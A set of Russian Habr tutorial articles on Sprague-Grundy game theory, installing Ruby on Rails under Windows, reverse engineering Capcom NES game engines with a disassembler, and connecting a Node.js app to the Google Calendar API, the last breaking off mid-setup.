Начать стоит с того, что теория, разработанная Роландом Шпрагом и Патриком Гранди в середине прошлого века, распространяется на игры, которые можно назвать «равноправными» (impartial). К этой категории относятся игры, в которых соблюдаются следующие условия:
1. игра конечна
2. в игре невозможна ничья
3. игроки видят всю информацию о состоянии соперника
В качестве примеров подобных игр можно привести [игру Ним](http://ru.wikipedia.org/wiki/%D0%9D%D0%B8%D0%BC_(%D0%B8%D0%B3%D1%80%D0%B0)), Баше и прочие игры. О них мы поговорим чуть позже, а пока обсудим, что же следует из условий.
Основным пунктом, разумеется, является конечность игры, из которой следует, что сам процесс можно представить в виде движения по ацикличному ориентированному графу, вершинами которого являются состояния игры, а ребрами — переходы между ними в результате хода игрока.
Из того, что в игре невозможна ничья, следует, что состояния игры можно разделить на выигрышные и проигрышные. К первым относятся те, из которых можно перейти в проигрышное состояние, а ко вторым — из которых никуда нельзя перейти, или можно, но только в выигрышное состояние.
Таким образом, решение задач на теорию Игр, связанных с «равноправными» играми, можно свести к изучению графа состояний игры и определению итогового результата.
#### Игра Ним
Рассмотрим пример нахождения выигрышной стратегии на примере игры Ним. Почему? Потому что впоследствии можно будет доказать, что условия всех «равноправных» игр можно свести к условиям игры Ним.
Итак, у нас есть N кучек, в каждой из которых расположено положительное количество камней. Игроки по очереди берут из кучек положительное количество камней. Когда все кучки становятся пустыми, игра заканчивается поражением того игрока, который не может сделать ход. Следовательно, состояние игры можно описать набором из N ~~положительных~~ натуральных**0** чисел, а игра заканчивается, когда сумма этих чисел становится равной нулю.
#### Теорема #1:
> Для текущего игрока стратегия является выигрышной тогда и только тогда, когда xor-сумма**1** размеров кучек положительна.
Докажем это.
Пусть у нас есть два массива значений (before[], after[]), в одном из которых (before[]) хранятся размеры кучек до хода игрока, а в другом (after[]) — после хода игрока.
Будем хранить в переменных bf и af xor-суммы до и после хода игрока (где «^» — операция xor):
bf = before[0] ^ before[1] ^… ^ before[N — 1] ^ before[N]
af = after[0] ^ after[1] ^… ^ after[N — 1] ^ after[N]
Тогда, воспользовавшись следствием из свойств xor, мы можем записать:
af = bf ^ before[i] ^ after[i], где «i» — номер кучки, из которой брал камни сделавший ход игрок.
Основываясь на вышесформулированном, докажем теорему #1 по индукции (рассмотрим два случая: bf == 0 и bf != 0):
Если bf == 0, то текущее состояние или и так проигрышное (т.е, из него нет переходов), или переходы имеются, но для них выполняется равенство af == bf[i] ^ af[i], но так как before[i] != after[i], то af != 0, а значит переход ведет в выигрышное состояние по индукции.
Если bf != 0, то нужно определить, какой ход приведет в проигрышное состояние (т.е, af == 0):
Рассмотрим битовую запись числа bf. Возьмем старший ненулевой бит, обозначив его номер за q. Пусть k — номер того из чисел before[], у которого q-ый бит отличен от нуля (иными словами, номер искомой кучки).
Предположим, что after[k] = before[k] ^ bf (предполагается, что это и есть искомый ход). Почему он корректен? Потому что after[k] < before[k]. Это следует из того, что все биты, старше q-ого у after[k] и before[k] совпадают, а в q-ом бите у before[k] записана единица, а у after[k] — ноль.
Тогда посчитаем:
af = bf ^ before[k] ^ after[k] = bf ^ before[k] ^ (bf ^ before[k]) = 0
Так как при это ходе xor-сумма равна нулю, то теорема доказана.
Что следует из теоремы #1? Из нее следует, что любое состояние ним-подобной («равноправной») игры можно заменить эквивалентным, но состоящим из единственной кучки, размер которой равен XOR-сумме размеров кучек в старом состоянии.
#### Функция Шпрага-Гранди
Состояние любой «равноправной» игры можно изобразить в виде ним-кучки. Если размер кучки равен нулю, то состояние проигрышное. Если не равен — выигрышное.
Пусть мы располагаем неким состоянием G[], эквивалентным некой ним-кучке размером X. Это число можно найти по индукции. Если мы знаем, что состоянию G[i] соответствует m[i], то m[] будет находиться следующим образом:
m = mex{m[1], ..., m[k]} **2**.
Именно в этом и заключается функция Шпрага-Гранди: если нам нужно определить победителя «равноправной» игры, то мы сводим ее к ним-кучкам, считаем G() для каждой из кучек и находим их xor-сумму.
Иными словами, G(k, n, m) = G(k) ^ G(n) ^ G(m).
#### Задачи
Теперь разберем функцию Шпрага-Гранди на примере олимпиадной задачи, встретившейся мне в отборочном туре Летней Компьютерной Школы. Условия задачи сводились к следующему:
> На неком острове бушуют пожары. Робот смог затушить все города, кроме одного.
>
> Пламя распространяется очень быстро, поэтому каждый день огонь пожирает все города,
>
> соединенные дорогой с уже горящими городами. Тушить робот уже ничего не может,
>
> единственное, что ему остается — это бежать от огня. Скорость робота совпадает со
>
> скоростью огня, поэтому за один день робот может перебраться в соседний город.
>
> Роботом посменно управляют два пилота Николай и Владимир, которые находятся на
>
> естественном спутнике Земли. Не смотря на то, что робота уже не спасти и пользы от него
>
> никакой нет, пилоты очень заинтересованы, чтобы он был уничтожен не в их смену. За
>
> потерю робота полагается приличный вычет из заработной платы.
>
> В первый день робот находится в столице (городе номер 1). Николай управляет роботом
>
> в первый день и может направить его в произвольный город соединенный с 1. Далее пилоты
>
> чередуются. Таким образом, каждый день единственное что может сделать робот — это
>
> передвинуться на любой соседний с его текущим положением город.
>
> В первый день горит только столица. Каждый следующий день дополнительно
>
> загораются все города, соединенные дорогами с уже горящими.
>
> Если пилот оставляет робота в горящем городе или направляет его в уже горящий
>
> город, то робот не выдерживает огня и уничтожается.
>
>
Нужно определить, кто при оптимальной игре, заплатит за робота штраф. Очевидно, что эта игра ним-подобна: она конечна, в ней невозможна ничья и оба игрока видят информацию о ходе противника.
К чему она сводится? Правильно, к определению G-функции от города с номером 1.
Рассмотри на примере кода. Будем считать, что у нас есть матрица смежностей с удаленными ребрами (удалять ребро a —> b будем, если город b сгорит раньше города a).
Тогда функция Шпрага-Гранди для этой задачи будет высчитываться так:
```
def Grundy():
for i in range(N):
if matrix[v][i] == 1:
if Grundy(i) == 0:
return 1
exit
return 0
```
Если функция возвращает «1», то при оптимальной игре победит Владимир.
Теперь рассмотрим ситуацию с ним-подобной игрой, но обладающей множеством условий. Пусть есть кучка камней, число которых нечетное. За раз можно взять не больше четырех камней из кучки. Игра продолжается до тех пор, пока камни не закончатся. Не побеждает тот, кто взял четное количество камней.
На первый взгляд, игра уже не анализируется с помощью функции Шпрага-Гранди. Почему? Потому что состояние игры определяет не только количество камней в кучке — важны еще и камни игроков. Но это легко учесть, если взять в качестве состояния игры
G() от чисел n, m и p, где n — количество камней в кучке, а m и p — четность камней у игроков (0 — нечетное количество, 1 — четное количество).
Возможно две ситуации окончания игры, при которых n == 0:
G(0, 0, 1) и G(0, 1, 0).
Первая ситуация немного нехарактерна для обычных ним-игр — игрок не может сделать ход, но так как количество его камней четное, то он и не проиграл. Чтобы изобразить это на графе, добавим переход:
(0, 0, 1) —> (0, 1, 0)
Если теперь изобразить граф, то можно отметить следующую периодичность:
G(n, m, p) = G(a, m, p),
где a = n mod 6
Что это нам дает? Пусть камней в кучке 27. Тогда G(27, 0, 0) = G(3, 0, 0) = 3. Начинающий выигрывает, а ход, который создает выигрышную позицию, должен переводить (3, 0, 0) —> (1, 0, 0). Следовательно, для победы начинающему нужно взять два камня.
#### Подведем итоги
Функция Шпрага-Гранди — неотъемлемая часть ним-подобных («равноправных») игр и теории Игр в целом. Решение задач с ее помощью сводится к определению функции G() от каждого состояния игры и нахождению их xor-суммы (еще это называется «суммой игры»).
Для игр, в которых число состояний настолько велико, что считать его ресурсозатратно, можно найти определенные закономерности. Кроме того, довольно часто функция Шпрага-Гранди бывает периодичной.
#### Примечания
**0** несмотря на [спорность этого вопроса](http://en.wikipedia.org/wiki/Natural_number#History_of_natural_numbers_and_the_status_of_zero), ноль тоже будем считать натуральным числом.
**1** xor-суммой чисел a[N] называется выражение a[1] ^ a[2] ^… ^ a[N].
**2** mex от множества чисел является наименьшее неотрицательное число, не встречающееся в этом множестве (от англ. minimum excludant).
#### Литература
Для более подробного изучения этой темы рекомендую книги:
E. Berlekamp, J. H. Conway, R. Guy. Winning Ways for your Mathematical Plays
J. H. Conway. On Numbers And Games.
И [довольно интересный курс лекций](http://www.math.ucla.edu/~tom/Game_Theory/Contents.html).
К сожалению, все это на английском.
#### Задачи для самостоятельной проработки
Если вы хотите порешать задачи на эту тематику, то рекомендую [вот эту](http://acm.timus.ru/problem.aspx?space=1&num=1465) и [прочие похожие задачи](http://acm.timus.ru/problemset.aspx?space=1&tag=game).
Успехов!
**UPD**: перенес в «Спортивное программирование». | https://habr.com/ru/post/124856/ | null | ru | null |
# Установка Ruby on Rails под Windows
Заинтересовал меня Rails. Купил пару книг, прочитал… достаточно чтобы, зачесались руки и пришло время ставить сабж. И приступать… хотя бы к экспериментам.
Задача: поставить Rails под Windows 7 (не спрашивайте меня почему) и запустить сервер.
Оказалось — это квест. Пары щелчков мышью недостаточно. Конечно, если не использовать [Railsinstaller](http://railsinstaller.org/), на что мне правильно намекнули в комментариях (спасибо, dreamfall).
Несколько же часов моих поисков, завершившихся таки полной и безоговорочной инсталляцией, под катом.
**1.** Ставим **Ruby**. Строго отсюда [rubyinstaller.org/downloads](http://rubyinstaller.org/downloads/). Ибо тут он собран под gcc MinGW 32, который будет использоваться и для сборки ruby-модулей
**1.1** Нам понадобиться [версия 187](http://rubyforge.org/frs/download.php/75107/rubyinstaller-1.8.7-p352.exe). Версия 192 треует более мощного шаманства, на которое у меня маны не хватило.
**1.2** Ставим [Development Kit](http://github.com/downloads/oneclick/rubyinstaller/DevKit-tdm-32-4.5.2-20110712-1620-sfx.exe) (он нам понадобиться, чтобы собрать Rails), распаковывая прямо поверх каталога Ruby (если ставили по умолчанию — это C:\Ruby187, в дальнейшем обзовем его **$Ruby**)
**1.3** Можно заодно и [документацию по Ruby](http://rubyforge.org/frs/download.php/75109/ruby-1.8.7-p352-doc-chm.7z) скачать
**2.** Нам понадобиться **SQLite** [www.sqlite.org](http://www.sqlite.org). [Архив](http://www.sqlite.org/sqlite-dll-win32-x86-3070800.zip) c dll-кой и def файлом распаковываем прямо в каталог **$Ruby\bin**. Это кстати был первый сюрприз (раньше RDBMS «по умолчанию» был mySQL)
**3.** Запускаем **Comand Prompt wiht Ruby** (вы найдете его в start-меню windows)
**4.** В comand prompt ставим модули:
**4.1.** **gem install sqlite3-ruby** — SQLite
**4.2.** **gem install rails** — собственно сами «рельсы». Возможно, что установка прервется с ошибкой, в этом случае повторяем команду
**4.3.** Даже если ошибки не случилось, всё равно потребуется шаманство. Ибо, на каждый наш чих, будет вылезать вот такое непотребство:
*Invalid gemspec in [C:/Ruby187/lib/ruby/gems/1.8/specifications/json-1.6.1.gemspec]: invalid date format in specification: «2011-09-18 00:00:00.000000000Z»*.
Это ошибка связанная с форматом даты. Лечится просто. Переходим в каталог **$Ruby\lib\ruby\gems\1.8\specifications** и в файлах «с ошибкой» меняем строчку
`s.date = %q{2011-09-18 00:00:00.000000000Z}`
на
`s.date = %q{2011-09-18}`
**4.4.** Для успокоения совести **gem update rails --include-dependencies**
**5.** Создаем тестовое приложение. Там же, в Command prompt
**5.1** Переходим в каталог «для игр» например **cd \test** (или **mkdir \test;cd \test** — если такого каталога нет)
**5.2** Создаем приложение **rails new hello**. Второй сюрприз — в книжках ничего не говорилось про «new».
**5.3** Запускаем наше приложение. **cd hello; rails server** . И последний сюрприз — в тех же книжках ссылка на несуществующий больше скрипт rails server/script
**5.4** по адресу [localhost](http://localhost):3000 ~~внезапно~~ мы обнаруживаем наше долгожданное приложение.
Вуаля!
Продолжение воспоследует, если по мере углубления обнаружатся еще подводные камни. | https://habr.com/ru/post/130689/ | null | ru | null |
# Устройство игрового движка для NES на примере игр «Capcom»
В моей третьей статье про NES-игры я покажу техники, используемые для создания игровых движков, а именно реализацию скроллинга экрана, переключение банков памяти, организацию списка объектов, устройство системы анимаций персонажей, функции обновления игровых объектов (и обработку столкновений), устройство главной карты. Чтобы не быть голословным в описаниях, я буду приводить дизассемблированный код из конкретных игр (любимый всем «Darkwing Duck», с отсылками к «Chip & Dale» и «Duck Tales»), без него в этой статье не обойтись. В качестве примера рассматривается движок от «Capcom», на модификациях которого работает как минимум [пара десятков игр](https://ru.wikipedia.org/wiki/%D0%A1%D0%BF%D0%B8%D1%81%D0%BE%D0%BA_%D0%B8%D0%B3%D1%80_Capcom#Famicom.2FNES).
Некоторые из рассматриваемых тем не связаны между собой, поэтому статья будет разбита на несколько разделов. Также, из-за обширности, материала хватило бы на небольшую книгу, поэтому иногда я буду давать ссылки на статьи для желающих разобраться в деталях, а описывать только общие вещи, касающие архитектуры движков.
Для исследования будет использоваться встроенный в эмулятор **FCEUX** дизассемблер, а также известный дизассемблер [IDA](https://www.hex-rays.com/products/ida/index.shtml) для работы с базой кода (можно обойтись и без него, воспользовавшись блокнотом и ручкой). Вот [здесь](http://romhack.github.io/tags/NES.html)(цикл «Документация к FCEUd») есть несколько статей по использованию отладчика. Идея поиска известна, наверное, любому, кто занимался реверс-инжинирингом — нужно найти в памяти любой адрес, назначение которого известно и относится прямо или косвенно к исследуемой функциональности, и установить на этот адрес точку остановки в отладчике. Дальше исследователь запускает игру, ожидает, когда точка остановки сработает и изучает код, который привёл к срабатыванию, получая таким образом информацию о том, что происходит у игры «под капотом». Далее будут приводится примеры исследования работы движка.
Реализация скроллинга экрана
----------------------------
Если игра имеет больше одного экрана на уровень, то при приближении игрока к его границам необходимо постоянно обновлять картинку. Можно запустить игру «Darkwing Duck» в эмуляторе, загрузить первый уровень и открыть окно просмотра экранных страниц ***Debug->Name table viewer***. Если теперь идти вправо по одному шагу и наблюдать изменения в этом окне, то можно заметить, что игра обновляет по 2 блока (2x2 тайла каждой, всего 8 тайлов видеопамяти) каждый шаг ЧП:
(На этот раз для разнообразия я буду использовать скриншоты из хаков игр)
Таким образом за 16 шагов Чёрного Плаща как раз совершается скролл на одну линию, которая будет готова полностью к этому моменту. Видеопроцессор NES умеет отображать экранную часть экранной страницы со смещением, поэтому экран продолжает строиться вправо, избегая копирования всех уже нарисованных тайлов. Также для видеопроцессора есть несколько флажков-опций, которые позволяют настроить циклическое повторение страницы по горизонтали. Так что после достройки экрана до правой границы следующий ряд будет просто построен слева.
Можно проверить, как устроен скроллинг технически. Для этого в отладчике надо установить точку остановки на запись в видеопамять на диапазон адресов *$2007-$23BF* (опция ***PPU MEM*** в отладчике) в момент, когда уровень уже загружен. Дальше запускается игра, и ЧП отправляется вперёд для того, чтобы скроллинг сработал и эмулятор остановил игру и показал окно отладчика:
```
ROM:C119 loc_C119:; CODE XREF: ROM:C137
ROM:C119 LDA $360,X
ROM:C11C BMI locret_C139
ROM:C11E STA byte_2006
ROM:C121 LDA $361,X
ROM:C124 STA byte_2006
ROM:C127 LDY $362,X
ROM:C12A
ROM:C12A loc_C12A:; CODE XREF: ROM:C132
ROM:C12A LDA $363,X
>ROM:C12D STA byte_2007
ROM:C130 INX
ROM:C131 DEY
ROM:C132 BPL loc_C12A
ROM:C134 INX
ROM:C135 INX
ROM:C136 INX
ROM:C137 BNE loc_C119
```
Общение с видеопамятью в NES происходит через адресное пространство процессора, адрес *$2006* служит для адресации, а адрес *$2007* — для чтения и записи значений в память. Тогда можно понять логику работы кода выше — это функция чтения записей о том, откуда, куда и сколько байт скопировать в видеопамять из оперативной памяти. Сами записи начинаются с адреса *$360* и имеют такой формат:
**COPY\_TO\_VIDEO\_REC|стоп байт 0xFF**, где *COPY\_TO\_VIDEO\_REC* = **(адрес\_записи\_в\_видеопамять, сколько байт копировать, байты для копирования)**.
Дальше точка остановки переставляется на запись в область *0x360-0x36F*, в которой хранятся эти данные и отладчик показывает большую функцию скролла по адресу *$DB40-$DD09* (457 байт). Функция многоцелевая и используется во всех видах скроллинга в игре (вправо, вверх, вниз), в ней много ветвлений в зависимости от установки различных бит. На входе функции — значение скроллинга персонажа в ячейках *$23* и *$25* (двухбайтовое).
Дальше я пропущу часть исследования (оно заключается в перестановке точек остановки и проверке откуда приходят данные изначально и каким трансформациям подвергаются) и выложу граф функции трансформации:
Как видно по графу, я не разбирал всю функцию, а сосредоточился на её нижней части — по адресу *$140* и дальше в оперативной памяти находятся выбранные индексы блоков из тех макроблоков, которые будут отображены на экране, а затем, из этого ряда данных составляются записи для копирования в видеопамять (ряд *0x360*), этого достаточно, чтобы понять устройство именно скроллинга, верхняя же часть описывает трансформацию координат и выборку данных о номере активного экрана в образе ROM.
В других движках устройство похожее — существует ряд адресов для копирования и ряд для хранения индексов макроблоков, иногда расположенный по тому же адресу.
Конфиги уровней и переключение банков памяти
--------------------------------------------
Разбираясь с потоком данных об уровне всё дальше, можно прийти к исходным местам их хранения — месту записи их в образе ROM. Часто записи о данных всех уровней сгруппированы вместе и называются ***конфигами*** уровней.
Для примера, конфиги уровней и дверей для игры «Chip & Dale»:
Описание дверей (25 записей)
```
1E673 - индекс экрана в раскладке.
1E68B - Y экрана.
1E6A3 - X экрана.
1E6BB - номер блока графики для фона.
1E6D3 - номер блока графики для объектов.
1E6EB - номер используемой палитры.
1E703 - номер второй палитры (влияет на объекты типа Вжика и Рокки и и используется для блинка).
1E71B - побитовое описание блинка цветов (из первой и второй палитры).
1E734 - позиция появления игроков Y.
1E74C - позиция появления игроков X.
```
Описание уровней (15 записей)
```
101B2, 101A3 - указатели на старшие байты координаты X объектов (номера экранов).
101D0, 101C1 - указатели на младшие байты координаты X объектов (позиция на экране).
101EE, 101DF - указатели на старшие байты координаты Y объектов (номера экранов).
1020C, 101FD - указатели на младшие байты координаты Y объектов (позиция на экране).
1022A, 1021B - указатели на тип объектов.
10248, 10239 - указатели на данные о направлении скролла для каждой линии высоты уровня.
1E201 - индекс в описании больших блоков уровня (совпадают для пар уровней).
1E26A - номер трека на уровне.
1E2A6, 1E297 - указатели на раскладку (форма уровня).
1E2C4, 1E2B5 - указатели на описание (направление скролла + номер двери).
1E210 - номер в раскладке стартовой комнаты.
1E23D - номер блока графики для объектов (8x=enemy gfx, 9x=tile gfx).
1E24C - номер блока графики для фона (8x=enemy gfx, 9x=tile gfx).
1E25B - номер палитры, используемой на уровне.
1E279 - номер второй палитры, используемой на уровне.
1E288 - побитовое описание блинка цветов (из первой и второй палитры).
1E22E - размер по высоте раскладки уровня.
1E21F - размер по ширине раскладки уровня.
```
Отсюда у наблюдательных читателей возникает вопрос, почему все указатели занимают всего два байта, ведь с помощью 16 бит можно адресовать всего 64 кб памяти, а размер образов ROM бывает и намного больше? Ответ — в NES для обхода этого ограничения используются специальные микросхемы в картриджах, которые управляют подключением разных банков памяти, мапперы. Они определяют, из какого именно банка памяти ROM будет производится чтение при обращении к адресному пространству процессора, отвечающему за чтение из ROM. Про указатели на NES можно почитать в [статье cah4e3'а](http://cah4e3.shedevr.org.ru/nes_inside.php).
Банки памяти — серьёзное ограничения NES при программировании (часто для определённой задачи нужно свободное место в конкретном банке, даже если в других его ещё достаточно) и дополнительные сложности в исследовании (необходимо сопоставлять указатели и банки, в которых они адресуют память).
Из такой архитектуры следуют два возможных способа распределения данных по банкам — либо хранить все данные одного уровня в одном банке, либо хранить все наборы данных одного типа в одном банке (макроблоки в одном, блоки в другом, экраны в третьем). В различных движках встречается как первый, так и второй подход. В «Capcom» чаще всего хранят данные одного уровня в одном банке — в «Mega Man 4», например, даже все указатели на блоки и макроблоки одинаковы, то есть при переключении банков данные маппятся на одни и те же адреса в адресном пространстве процессора. Даже при этом, однако, переключение банков осуществляется несколько раз за кадр, то есть нужные данные всё равно разбросаны по разным местам образа ROM.
Организация списка объектов
---------------------------
Кроме карты уровня для полноценной игры необходимо ещё задание списка игровых объектов — бонусов, врагов, разрушаемых объектов, объектов-анимаций для украшения, дверей и других логических элементов игры. В предыдущих двух параграфах было показано, как добраться до конфигов уровней, где с большой вероятностью можно встретить указатель на начало списка игровых объектов. Также найти этот список можно другим способом — вычислить места в оперативной памяти, в которых хранится информация об объектах на экране, и начинать поиск адреса от них. «Зацепиться» за эти адреса в памяти можно несколькими способами:
* При появлении врага на экране замедлить время и проверить его X,Y координаты или другие параметры (Меню ***Tools->Ram Search...***). Так обнаруживается, что параметры врагов на экране для «Darkwing Duck» в RAM хранятся столбиками *0x580* (для первого объета, *0x581* для второго, *0x582* — для третьего и т. д.) — направление движения объекта, *0x5A0* — оставшееся здоровье и т.п. Среди них можно обнаружить и номер объекта
* Засечь счётчик объектов, которые появляются на экране. Он увеличивается на 1 при появлении следующего объекта. Его, кстати, можно увидеть без поиска в памяти, а с прямо глядя в оперативную память (в FCEUX это удобно благодаря фиче подветки недавно изменённых ячеек (меню ***Tool->Hex Editor***):
Ячейка *0x70* увеличивается одновременно с появлением на экране нового объекта (и в «Darkwing Duck», и в «Chip & Dale»).
* В играх с начислением очков за убийство врагов можно поставить точки остановки на увеличение счётчика очков и так выйти на функцию начисления очков, которая также использует данные о номере врага для рассчёта количества
* Другие способы, ограниченные только фантазией исследователя
Вне зависимости от выбранного способа из вышеперечисленных рано или поздно исследование приводит к конфигам уровней, откуда можно узнать адреса начала списка объектов. Для «Darkwing Duck» адреса описаний объектов:
```
1 уровень — 0x10315-0x10347
2 уровень — 0x10438-0x10473
3 уровень — 0x10584-0x105C7
6 уровень — 0x106A0-0x106D5
4 уровень — 0x10816-0x10865
5 уровень — 0x10962-0x109A0
7 уровень — 0x10A89-0x10AC2
```
После некоторых экспериментов по [коррапту данных](http://habrahabr.ru/post/259483/) в окрестности этих адресов становится понятна и их структура — перед списком самих объектов лежат 4 массива такой же длины, с пара координат X и Y объектов. Старший байт указывает координату экрана, на которой появляется объект, а младший — координату самого объекта на экране. Таким образом, полностью на описание позиции и типа объекта уходит по 5 байт.
Также становится понятно, что объекты в списке должны быть отсортированы в том порядке, в котором они будут появляться на экране, так как в движке существует процедура, которая проверяет появление следующего объекта в списке, и только потом увеличивает счётчик на 1 и проверяет следующий объект. Если он находится сзади игрока (а скроллинга назад в игре нет), то он не появится на экране никогда. Существуют ещё несколько особенностей движка, касающихся списка объектов, которые нужно учитывать при сортировке объектов, например, после входа в двери счётчик обнуляется и движок ищет первый подходящий по координате Y экрана объект в списке, начиная с первого. Это позволяет строить уровни с несколькими альтернативными переходами, которых не было в оригинальной игре.
В других движках устройство списка объектов очень похожее, иногда встречаются особенности, такие как кодирование одной из координат объекта одним байтом (либо домножая его на константу, либо используя фиксированный адрес в качестве базы для целого набора объектов, например, в «Duck Tales 2») или переменная длина записей в списке объектов (пример — «New Ghostbusters 2», там для врагов хранятся координаты, тогда как для дверей дополнительно ещё и комната, в которую будет совершён переход).
Раскодировка всех типов объектов для «Duck Tales»: [gist.github.com/spiiin/5524555](https://gist.github.com/spiiin/5524555)
Устройство системы анимаций
---------------------------
Номер объекта является не просто константой, а индексом в массиве записей о всех объектах.
Точка остановки на запись по диапазону адресов *0x05A4 — 0x05AF* (в нём хранятся номера объектов на экране) показывает место, откуда загружаются характеристики объектов:
```
LDA (06), y. [cpu addr 0x8C57->rom addr 0x10C67] - 4 байта описания (жизни)
LDA (04), y. [cpu addr 0x8AB3->rom addr 0x10AC0] - 4 байта описания (характеристики)
```
В первом массиве хранится количество жизней у объекта и 3 пустых поля (видимо, доставшиеся в наследство от движка «Mega Man 4», где характеристик было больше), а во втором:
```
1-й байт - тип объекта.
2-й байт - номер функции поведения объекта (некоторые объекты могут разделять одну и ту же функцию поведения).
3-й байт - начальный номер анимации объекта.
4-й байт - дополнительное поле - статус объекта или второй номер анимации.
```
Дальше исследуется номер анимации, что через несколько шагов приводит к пониманию устройства хранения системы анимаций объектов.
Каждая анимация состоит из нескольких кадров и времени, которое она проигрывается:
```
Формат анимации:
{
1 байт - кол-во кадров N.
1 байт. таймер.
N байт - номера кадров.
}
```
По таймеру кадр переключается на следующий:
```
Формат кадра:
{
количество тайлов в кадре
индекс описания координат
номера тайлов (через 1. тайл - аттрибуты тайла)
}
```
(Массив кадров разделён в образе ROM на две части из-за большого размера, чтобы разделить его на разные банки).
Вывод всех тайлов кадра на экран осуществляется стандартными для NES средствами — видеопроцессор помимо экранных страниц может отрисовывать на экране тайлы (размером 8x8) в произвольных местах экрана, подробнее о выводе спрайтов на экран [статья](http://dendy.migera.ru/nes/g02.html), раздел «Спрайты. Контроллер DMA.».
Подобная система анимаций применяется в играх «Darkwing Duck», «Chip & Dale», «Duck Tales» (первые части, в «Chip & Dale 2» и «Duck Tales 2» своя система), «Little Mermaid», «Tale Spin», «Mega Man» (со второй по пятую части), «Mighty Final Fight».
Для редактирования анимаций можно воспользоваться редактором [CadEditor](https://github.com/spiiin/CadEditor) или утилитой [Capcom Sprite Assembler](http://www.romhacking.net/utilities/983/):
Функции обновления игровых объектов
-----------------------------------
Когда игровой объект появляется в кадре, каждый игровой цикл для него вызывается функция обновления, которая отвечает за всю игровую логику — перемещение его по экрану, порождение новых объектов (например, пуль), обработка столковений между стенами, полом и другими объектами, а также переключений логических фаз и анимаций (например, *ходьба->прыжок->приземление*).
Поиск номера функции обновления можно посмотреть в предыдущем разделе, дальше необходимо исследовать ячейки памяти, в которых хранятся текущие параметры объекта. Для «Darkwing Duck» это:
```
4D0 - стадия (сторожит/следует за ЧП/стреляет/спит/бежит etc.).
420 - номер анимации
580 - направление движения
5A0 - оставшееся здоровье (80, если объект бессмертный)
410 - кадр анимации
430 - таймер между кадрами анимации
400 - флажки (направление движения, мерцание, присутствие на экране, etc.)
и другие.
```
Дальше следует кропотливая работа по пониманию логики работы каждой функции объектов (сложно обычно только для первых двух-трёх, дальше всё повторяется).
Для примера, код функции обновления первого врага «Чёрного Плаща», Робота: [gist.github.com/spiiin/14197bc6b8889a0dd4f0](https://gist.github.com/spiiin/14197bc6b8889a0dd4f0)
Робот имеет две фазы, в первой (**«Патрулирование»**) он не покидает своего поста и ходит в небольшом радиусе от него, иногда останавливаясь, чтобы покрутить головой в поисках Чёрного Плаща. Если расстояние до игрока уменьшится до 32 пикселей, или здоровье Робота уменьшится, то он переходит в фазу **«Атака»**, в которой он начинает двигаться в ту сторону, с которой находится игрок, причём меняет направление только при условии попадания в тупик, из которого не может выбраться прыжком.
Особенных инструментов для создания своих объектов нету, необходимо переписывать код, желательно влезая в ограничение по размеру на функцию обновления. Однако это не мешает созданию таких фантастических хаков как [«Rockman Minus Infinity»](http://www.romhacking.net/hacks/910/).
Устройство главной карты
------------------------
Бонусом будет небольшой раздел про устройство главной карты. Для неё в «Darkwing Duck» используется не блочный, а описательный способ (про способы хранения данных см. [первую статью цикла](http://habrahabr.ru/post/259171/)).
При этом для изменения карты, кроме разбора способа хранения (который я пропущу, чтобы не перегружать статью ассемблерным кодом), необходимо написать ещё и способ сохранения карты обратно в образ ROM. Описательный способ хранения подразумевает, что из карты выбрасываются все цепочки нулей, а вместо них перед каждой цепочкой данных указывается адрес, с которого он начинается, чтобы было понятно, куда вписать данные в карту:
Код запаковщика на C#: [gist.github.com/spiiin/8738491](https://gist.github.com/spiiin/8738491)
Теперь можно добавить карту в редактор:
… и, например, переселить Чёрного Плаща из Сен-Канара в другой город:
Послесловие
-----------
Тем, кому этого мало, могу предложить продолжать самостоятельное исследование движка, или изучать разобранный откомментированный код движка [«Mega Man 4»](http://www.romhacking.net/documents/363/), похожего на «Darkwing Duck». Оттуда можно почерпнуть некоторые сведения, не разобранные в статье, например, устройство звукового движка или устройство спецэффектов, таких как, анимация фона переключением палитр, и другие.
Если кого-то заинтересуют другие аспекты устройства движков игр, добро пожаловать в комментарии, попробую помочь разобраться. | https://habr.com/ru/post/259761/ | null | ru | null |
# Подключение node-приложения к Google Calendar API
Как-то неожиданно для меня подключение своего nodejs-приложения к Google Calendar API оказалось довольно нетривиальной задачей. Несмотря на подробное описание вариантов подключения на русском языке пришлось продираться через лес различных настроек и конфигураций. В статье подробно изложены шаги, которые приходится совершить, чтобы интеграция завершилась успехом.
Цель интеграции - дать возможность nodejs-приложению публиковать события в определённый календарь. В данном примере использовался обычная, персональная учётная запись в Google.
Создание календаря
------------------
Для начала нужно создать календарь, в который будем публиковать события. Идём в [Google Calendar](https://calendar.google.com/calendar/) и нажимаем на кнопку "**+**" рядом с "**Другие календари**", затем выбираем пункт "**Создать календарь**":
заполняем форму и опять жмём "**Создать календарь**", но уже синюю кнопку:
Гугл довольно долго шуршит мозгами, после чего радостно сообщает, что новый календарь готов. Доступ к настройкам нового календаря:
В настройках нас прежде всего интересует пункт "**Интеграция календаря**":
в котором самое полезное - это "**Идентификатор календаря**"
```
c093hr4fqjuj5k9e6uvvac73ac@group.calendar.google.com
```
Этот значение наше nodejs-приложение будет использовать при подключении к API.
Регистрация приложения в Google
-------------------------------
Управление приложениями находится в "[Консоли API](https://console.developers.google.com/apis/dashboard)".
Создать новое приложение можно через селектор текущего приложения - "**Выберите проект**":
После создания проект становится доступным в списке проектов - "*Habr Demo*":
Теперь нужно дать доступ этому проекту к соответствующим API Google'а:
Так как интерфейсов Google наплодил свыше 3 сотен, используем фильтр для поиска нужных:
Фильтрация по ключу "*calend*" оставляет всего два вариант, один из которых нам и нужен:
Заходим в "**Google Calendar API**" и включаем его для использования в нашем проекте:
После чего проваливаемся в dashboard использования этого API в нашем проекте (*https://console.developers.google.com/apis/api/calendar-json.googleapis.com/overview?project=habr-demo-293107&supportedpurview=project*), где нам сообщают, что для использования API мы должны создать учётные данные:
Жмём "**СОЗДАТЬ УЧЁТНЫЕ ДАННЫЕ**" и заполняем анкету, определяющую, какой тип учётных данных нам нужен для доступа к API:
вся анкета не влезла в один скрин, вот остаток:
По результатам анкетирования Google предлагает создать закрытый ключ в формате JSON, при помощи которого наше приложение будет подключаться к Google Calendar API:
Самую большую трудность для меня создал пункт "*Роль*". Похоже, что ролей у Google'а даже больше, чем API, к которым можно подключаться:
В общем, если выбрать "*Проект / Владелец*", то обещают предоставить полный доступ ко всем ресурсам. Жмём на кнопку "**Продолжить**" и получаем JSON-файл в каталог "*Downloads*" на своём компрьютере:
Содержимое JSON-файла примерно такое (ключ я вырезал):
```
{
"type": "service_account",
"project_id": "habr-demo-293107",
